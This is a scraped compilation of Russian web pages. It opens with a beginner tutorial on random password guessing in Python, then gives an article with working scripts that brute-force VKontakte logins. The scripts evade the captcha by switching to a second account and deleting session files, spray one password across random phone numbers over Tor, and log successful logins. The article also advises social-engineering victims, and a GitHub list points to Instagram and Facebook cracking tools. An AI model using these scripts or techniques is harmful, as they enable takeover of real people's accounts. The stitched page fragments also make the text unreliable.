- Перебор пароля на Python
- Похожие статьи
- Как запустить программу C и C++ на Kali Linux
- Как создать хеш MD5 на JavaScript
- Краткая инструкция по использованию отладчика GDB
- 18 комментариев
- Обход капчи при авторизации ВКонтакте
- Saved searches
- Use saved searches to filter your results more quickly
- bruteforce-password-cracker
- Here are 101 public repositories matching this topic.
- WH1T3-E4GL3 / brute-eagle
- cann66dev / BruteForceAttack
- aryainjas / Microllect
- henry-richard7 / Streamable-Account-Checker
- RozhakXD / Premium
- T-Dynamos / IgFreak
- JaredMHarding / bruteforce
- HalilDeniz / PassBreaker
- s41r4j / igbf
- akashblackhat / facebook_hack
- HITH-Hackerinthehouse / PassMute
- Korozin / ZIP-Password-Cracker
- franzo15 / fzCrack
- 01nodo / enigma
- kh4sh3i / bruteforce-http-authentication
- iniridwanul / Pursuit
- TheNiska / WPA2-PSK-Decryptor
- fooster1337 / hash-cracker
- 5h4d0wb0y / socialbrute
- akashblackhat / instagrame-hacking
- Improve this page
- Add this topic to your repo
Перебор пароля на Python
Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.
Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.
Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.
Далее, надо определиться с переменными. Нам нужны 6.
password = «» # В эту переменную будет записываться сгенерированный пароль, и, если он ложный, пойдет в wrongPassword
Вот и все необходимые переменные.
Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password
Переходим к самому интересному — генерации и перебору паролей.
Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.
Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.
Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.
Похожие статьи
Как запустить программу C и C++ на Kali Linux
Как создать хеш MD5 на JavaScript
Краткая инструкция по использованию отладчика GDB
18 комментариев
Код конечно отвратительный. Генерить рандомные пароли — самый медленный метод перебора, который только возможно придумать (много времени уйдёт на определение того, выбирали ли мы его раньше). Конкретные недостатки: 1) Инициализацию переменной length следует делать используя len(correctPassword), чтобы при вводе надо было изменять одну строку, а не две.
2) Переменная run не выполняет никакой функции, поскольку одновременно с run=False выполняется break. Следует либо убрать оттуда break, либо удалить run и сделать while True.
3) Переменную wrongPasswords лучше сделать не списком, а множеством, поскольку тогда будет быстрее проверка наличия в нем элемента.
4) Инициализация переменной password до цикла не требуется.
5) Поскольку из модуля random используется только одна функция, лучше писать не import random, а from random import choice. Был поражен, увидев столько косяков в столь коротком коде…
Обход капчи при авторизации ВКонтакте
Не так давно начал учить Python и попробовал использовать VK API на Python. Поняв как это всё работает решил попробовать и использовал для этого Python модуль vk_api.
С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:
import vk_api vk_session = vk_api.VkApi('79100000000', 'passwordA') vk_session.auth()
Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.
Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.
Далее сделал попытку подбора паролей для страницы А и написал следующий код:
import vk_api, os i = 0 # будем считывать пароли auth_i = 0 # будем считывать круги login_a = '79100000000' #логин к странице А login_b = '79200000000' #логин к странице В password_b = 'passwordB' #пароль к странице В password_file = "password.txt" # файл с паролями # читаем файл с паролями построчно with open('password_file.txt', 'r') as f: password = f.read().splitlines() while len(password) > i: # на каждые 6 раз авторизуемся, что бы избавиться от капчи if auth_i == 6: vk_session = vk_api.VkApi(login_b, password_b) vk_session.auth() os.system("rm vk_config.v2.json") auth_i=0 try: vk_sessions = vk_api.VkApi(login_a, password[i]) # делаем попытку авторизации vk_sessions.auth() print("[###]: "+password[i]) # если Успех, то выводим пароль except: print(password[i]) # если ошибка, то идем дальше считывая пароли auth_i+=1 i+=1
qwerty321 #1 an199910 #2 10an10199 #3 . dxer19991 #53 . #60
И в результате получил dxer19991 .
Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.
Вроде не так страшно, но допустим у нас есть обычный юзер:
Павел Дуровский 1999.10.10 79200000000
Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:
И так составить примерно 60 паролей.
Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.
В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.
Кто сказал, что брутить можно только логин?
Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:
import vk_api, random, time, os i=0 codes = [900, 902, 903, 904, 905, 906, 908, 909, 950, 951, 953, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 980, 983, 986, 901, 904, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 950, 978, 980, 981, 982, 983, 984, 985, 987, 988, 989, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 936, 937, 938, 939, 950, 951, 999, 901, 952, 958, 977, 991, 992, 993, 994, 995, 996, 998] # операторы password = "12345678" # пароль по которому будем искать cod = "" #cod = "968" while True: try: if cod == "": login = "7"+str(codes[random.randint(0, len(codes))])+str(random.randint(1000000, 9999999)) else: login = "7"+cod+str(random.randint(1000000, 9999999)) except: print("Error creating login") try: vk_session = vk_api.VkApi(login, password) vk_session.auth() print("[TRUE]>>> login: "+login+" : "+"Password: "+password) file = open("bd.log", "a+") file.write("login: "+login+" "+"Password: "+password+"\n") file.close() i=0 except: if i == 10: # логин и пароль для сброса капчи vk_sessions = vk_api.VkApi('79200000000', "password") vk_sessions.auth() print("reCaptcha") os.system("rm vk_config.v2.json") i=0 else: print("=> "+login+" for "+password) i+=1 time.sleep(0.2) # машину жалко
Ну а после я подключил Тор к консоли и запустил код.
Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.
В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.
Об этом решил сообщить в вк, но ответа всё ещё не получил.
Saved searches
Use saved searches to filter your results more quickly
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.
bruteforce-password-cracker
Here are 101 public repositories matching this topic.
WH1T3-E4GL3 / brute-eagle
A multi-purpose tool to hack instagram with many options.
cann66dev / BruteForceAttack
Brute Force attack with Python in Kali Linux
aryainjas / Microllect
Fully automated btc wallet Attack,using advanced protocols.
henry-richard7 / Streamable-Account-Checker
A python program that performs brute force attack on streamable.com, This repo is part of my Youtube video.
RozhakXD / Premium
T-Dynamos / IgFreak
JaredMHarding / bruteforce
A simple python program that uses brute force methods to find the password for a given user on a login webpage.
HalilDeniz / PassBreaker
s41r4j / igbf
[ igbf ]: Instagram Brute Forcer —easy-to-use —cross-platform —open-source —no-extl-lib-reqakashblackhat / facebook_hack
This Is A Danger Tool Use Your Brane And Run This Script (NO SYSTEM IS SAFE ) DEVELOPER = AKASHBLACKHAT) facebook brutforce attack toolFACEBOOK HACK
HITH-Hackerinthehouse / PassMute
PassMute — A multi featured Password Transmutation/Mutator Tool
Korozin / ZIP-Password-Cracker
A Python script to crack ZIP Passwords
franzo15 / fzCrack
Advanced Zipfile Cracker With Support For Bruteforce Attacks, Dictionary Attacks and to save the current state. For bruteforce attack, It also support the parallel processing, splitting the jobs based on the lenght of the strings. Based on the implementation of zzCrack
01nodo / enigma
enigma is a simple wordlist generator thats creates all the posible combinations from the words you describe.
kh4sh3i / bruteforce-http-authentication
Bruteforce HTTP Authentication. Supports: Basic HTTP authentication ,Digest HTTP authentication
iniridwanul / Pursuit
Pursuit can give bruteforce in various web applications and content management system like WordPress.
TheNiska / WPA2-PSK-Decryptor
Python 3 script to decrypt EAPOL packets
fooster1337 / hash-cracker
Hash-Cracker For MD5 And SHA256 With Thread.
5h4d0wb0y / socialbrute
It attempts to crack social networks using a brute force dictionary attack.
akashblackhat / instagrame-hacking
best script for hacking instagram /instagrame-hacking is a bash based script which is officially made to test password strength of instagram account from termux with bruteforce attack and This tool works on both rooted Android device and Non-rooted Android device.
Improve this page
Add a description, image, and links to the bruteforce-password-cracker topic page so that developers can more easily learn about it.
Add this topic to your repo
To associate your repository with the bruteforce-password-cracker topic, visit your repo’s landing page and select «manage topics.»